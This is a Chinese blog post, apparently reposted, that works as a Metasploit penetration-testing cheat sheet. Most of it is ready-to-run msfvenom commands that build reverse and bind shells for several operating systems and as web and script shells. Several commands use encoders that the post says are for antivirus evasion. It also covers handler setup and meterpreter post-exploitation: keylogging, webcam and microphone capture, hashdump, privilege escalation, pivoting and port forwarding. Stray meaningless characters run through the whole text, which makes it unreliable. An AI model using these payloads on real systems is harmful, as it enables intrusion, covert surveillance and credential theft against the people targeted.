轉(zhuǎn)自:https://thief.one/2017/08/01/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
今天玩了一把內(nèi)網(wǎng)滲透食店,其中主要用到了 metasploit 這款內(nèi)網(wǎng)滲透神器匆浙。metasploit大家肯定不陌生当娱,我也在很早之前就有接觸過畅涂,但每次重新使用它時都會遺忘一些用法萝勤,因此為了方便查詢我在本篇記錄下metasploit神器的一些常用命令楚里,以及內(nèi)網(wǎng)滲透中如何使用它鸟廓。
Mac下安裝metasploit
mac下安裝metasploit比較簡單,官網(wǎng)下載pkg安裝包续语,直接安裝即可;需要注意的是安裝完成后的路徑厦画。msfconsole路徑:
1
/opt/metasploit-framework/bin
msf的插件路徑:1
/opt/metasploit-framework/embedded/framework/modules/exploits
msfvenom
作用:生成木馬文件疮茄,替代早期版本的msfpayload和msfencoder。
Options
msfvenom命令行選項如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-p, --payload <payload> 指定需要使用的payload(攻擊荷載)
-l, --list [module_type] 列出指定模塊的所有可用資源,模塊類型包括: payloads, encoders, nops, all
-n, --nopsled <length> 為payload預(yù)先指定一個NOP滑動長度
-f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)
-a, --arch <architecture> 指定payload的目標(biāo)架構(gòu)
--platform <platform> 指定payload的目標(biāo)平臺
-s, --space <length> 設(shè)定有效攻擊荷載的最大長度
-b, --bad-chars <list> 設(shè)定規(guī)避字符集根暑,比如: '\x00\xff'
-i, --iterations <count> 指定payload的編碼次數(shù)
-c, --add-code <path> 指定一個附加的win32 shellcode文件
-x, --template <path> 指定一個自定義的可執(zhí)行文件作為模板
-k, --keep 保護模板程序的動作力试,注入的payload作為一個新的進程運行
--payload-options 列舉payload的標(biāo)準(zhǔn)選項
-o, --out <path> 保存payload
-v, --var-name <name> 指定一個自定義的變量,以確定輸出格式
--shellest 最小化生成payload
-h, --help 查看幫助選項
--help-formats 查看msf支持的輸出格式列表
options usage
查看支持的payload列表:
1
msfvenom -l payloads
查看支持的輸出文件類型:
1
msfvenom --help-formats
查看支持的編碼方式:(為了達(dá)到免殺的效果)
1
msfvenom -l encoders
查看支持的空字段模塊:(為了達(dá)到免殺的效果)
1
msfvenom -l nops
msfvenom -p <payload> <payload options> -f <format> -o <path>
Linux
1
2
3
4
反向連接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向連接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
1
2
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
1
2
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads
Python
1
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Linux Based Shellcode
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
1
2
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers
msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>
常用編碼:
1
2
x86/shikata_ga_nai
cmd/powershell_base64
例子:
1
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe
payload的坑
正常情況下排嫌,利用msfvenom生成的木馬文件畸裳,可直接上傳到目標(biāo)服務(wù)器上運行(加權(quán)限)。但我自己遇到過一個坑淳地,生成的文件內(nèi)容有部分是無用的怖糊,會引起報錯帅容,如下圖所示。
msfconsole
作用:用來在命令行下啟動metasploit。
auxiliary掃描模塊
exploits漏洞利用模塊
payloads
encoders編碼模塊
nops空字符模塊
search尋找模塊
比如尋找ms15_034漏洞的利用插件
1
search ms15_034
配合木馬彈Shell
前面我介紹了如何使用msfvenom生成木馬文件,這里我介紹如何使用msf連接上被執(zhí)行的木馬文件劝评,達(dá)到控制目標(biāo)服務(wù)器姐直。
常用payload
首先我們回顧一下生成木馬文件的命令,其中有一個payload的選項蒋畜,常用的幾個payload声畏。linux相關(guān)payload:
1
2
3
4
5
6
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp
windows相關(guān)payload:
1
2
3
4
5
6
7
8
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
注意:含有x64只適用目標(biāo)服務(wù)器為64位操作系統(tǒng)的,沒有x64或者使用x86的只適用32位操作系統(tǒng)百侧;含有meterpreter的模塊會反彈meterpreter_shell砰识,而普通的shell模塊只會反彈普通的shell(反彈結(jié)果跟nc類似);reverse_tcp表示木馬會主動連接目標(biāo)服務(wù)器佣渴,bind_tcp表示木馬會監(jiān)聽本地的端口辫狼,等待攻擊者連接。因此生成的木馬文件辛润,要根據(jù)具體情況而定膨处。
payload選擇
前面介紹了常用的payload,那么payload選擇的三大要素如下:
木馬連接的方向
目標(biāo)操作系統(tǒng)及版本
反彈的shell類型
木馬連接方向:msf木馬分為正向連接與反向連接砂竖,正向連接適合攻擊機能給連接目標(biāo)機的情況真椿,反向連接使用目標(biāo)機能連接攻擊機的情況,這里所說的連接一般是指tcp的某個端口乎澄。因此在生成木馬前突硝,需要先判斷當(dāng)前環(huán)境,適合正向連接木馬還是反向連接的木馬置济。(可以使用nc工具測試解恰,詳細(xì)參考:【滲透神器系列】nc)
目標(biāo)操作系統(tǒng)類型查看:這個不說了!操作系統(tǒng)位數(shù)查看:
1
getconf LONG_BIT
反彈shell類型:這個主要取決于反彈的shell的用途浙于,一般執(zhí)行系統(tǒng)命令的話普通操作系統(tǒng)的shell就夠了护盈。如果想要使用高級功能,比如:鍵盤記錄羞酗,開啟攝像頭腐宋,添加路由等功能,可以使用meterpreter_shell。
連接木馬
開啟msf胸竞,啟用exploit/multi/handler模塊欺嗤。
1
2
3
4
5
6
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set RHOST 10.0.0.1
set LPORT 12345
exploit
注意:這里set的payload跟生成木馬使用的payload要一致,其余的參數(shù)根據(jù)選擇的payload而填寫撤师。
meterpreter shell
當(dāng)我們拿到目標(biāo)服務(wù)器的meterpreter_shell后剂府,可以進行很多操作。
1
2
3
backgroud 將msf進程放到后臺
session -i 1 將進程拖回前臺運行
run vnc 遠(yuǎn)程桌面的開啟
文件管理功能:
1
2
3
4
5
6
7
8
Download 下載文件
Edit 編輯
cat 查看
mkdir 創(chuàng)建
mv 移動
rm 刪除
upload 上傳
rmdir 刪除文件夾
網(wǎng)絡(luò)及系統(tǒng)操作:
1
2
3
4
5
6
7
8
9
10
11
Arp 看ARP緩沖表
Ifconfig IP地址網(wǎng)卡
Getproxy 獲取代理
Netstat 查看端口鏈接
Kill 結(jié)束進程
Ps 查看進程
Reboot 重啟電腦
Reg 修改注冊表
Shell 獲取shell
Shutdown 關(guān)閉電腦
sysinfo 獲取電腦信息
用戶操作和其他功能講解:
1
2
3
4
5
6
7
8
9
10
11
enumdesktops 用戶登錄數(shù)
keyscan_dump 鍵盤記錄-下載
keyscan_start 鍵盤記錄√甓堋- 開始
keyscan_stop 鍵盤記錄∠僬肌- 停止
Uictl 獲取鍵盤鼠標(biāo)控制權(quán)
record_mic 音頻錄制
webcam_chat 查看攝像頭接口
webcam_list 查看攝像頭列表
webcam_stream 攝像頭視頻獲取
Getsystem 獲取高權(quán)限
Hashdump 下載HASH
meterpreter添加路由
大多時候我們獲取到的meterpreter shell處于內(nèi)網(wǎng),而我們需要代理到目標(biāo)內(nèi)網(wǎng)環(huán)境中痒谴,掃描其內(nèi)網(wǎng)服務(wù)器衰伯。這時可以使用route功能,添加一條通向目標(biāo)服務(wù)器內(nèi)網(wǎng)的路由积蔚。
查看shell網(wǎng)絡(luò)環(huán)境:
1
meterpreter>run get_local_subnets
添加一條通向目標(biāo)服務(wù)器內(nèi)網(wǎng)的路由
1
meterpreter>run autoroute -s 100.0.0.0/8 (根據(jù)目標(biāo)內(nèi)網(wǎng)網(wǎng)絡(luò)而定)
查看路由設(shè)置:
1
meterpreter>run autoroute –p
一般來說意鲸,在meterpreter中設(shè)置路由便可以達(dá)到通往其內(nèi)網(wǎng)的目的。然而有些時候還是會失敗尽爆,這時我們可以background返回msf>怎顾,查看下外面的路由情況。
1
route print
如果發(fā)現(xiàn)沒有路由信息漱贱,說明meterpreter shell設(shè)置的路由并沒有生效槐雾,我們可以在msf中添加路由。
1
msf>route add 10.0.0.0 255.0.0.0 1
說明:1表示session 1幅狮,攻擊機如果要去訪問10.0.0.0/8網(wǎng)段的資源募强,其下一跳是session1,至于什么是下一條這里不多說了崇摄,反正就是目前攻擊機可以訪問內(nèi)網(wǎng)資源了擎值。
meterpreter端口轉(zhuǎn)發(fā)
假設(shè)目前我們掃描到了10網(wǎng)段的某個ip存在mysql弱口令,賬號密碼都有了逐抑,那么我們可以在肉雞服務(wù)器上登陸目標(biāo)服務(wù)器mysql鸠儿。當(dāng)然,如果我想在攻擊機上去登陸mysql厕氨,可以使用端口轉(zhuǎn)發(fā)进每。(某些情況下,內(nèi)網(wǎng)的機器也不能互相ssh腐巢,需要登陸堡壘機)
在meterpreter shell中輸入:
1
meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306
表示將10.0.0.1服務(wù)器上的3306端口轉(zhuǎn)發(fā)到本地的55555端口品追,然后我們可以在本地運行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陸mysql玄括。其他端口如ssh冯丙、ftp等都類似,這個過程跟msf代理很像。
網(wǎng)絡(luò)上關(guān)于metasploit用法的資料很多胃惜,這里主要記錄一些常用用法泞莉,以及個人使用過程中的一些坑
參考文章:http://www.freebuf.com/sectool/72135.htmlhttp://blog.csdn.net/lzhd24/article/details/50664342http://blog.csdn.net/qq_34457594/article/details/52756458http://www.freebuf.com/sectool/56432.htmlhttp://www.freebuf.com/articles/network/125278.html
傳送門
【滲透神器系列】DNS信息查詢【滲透神器系列】nc【滲透神器系列】nmap【滲透神器系列】Fiddler【滲透神器系列】搜索引擎【滲透神器系列】WireShark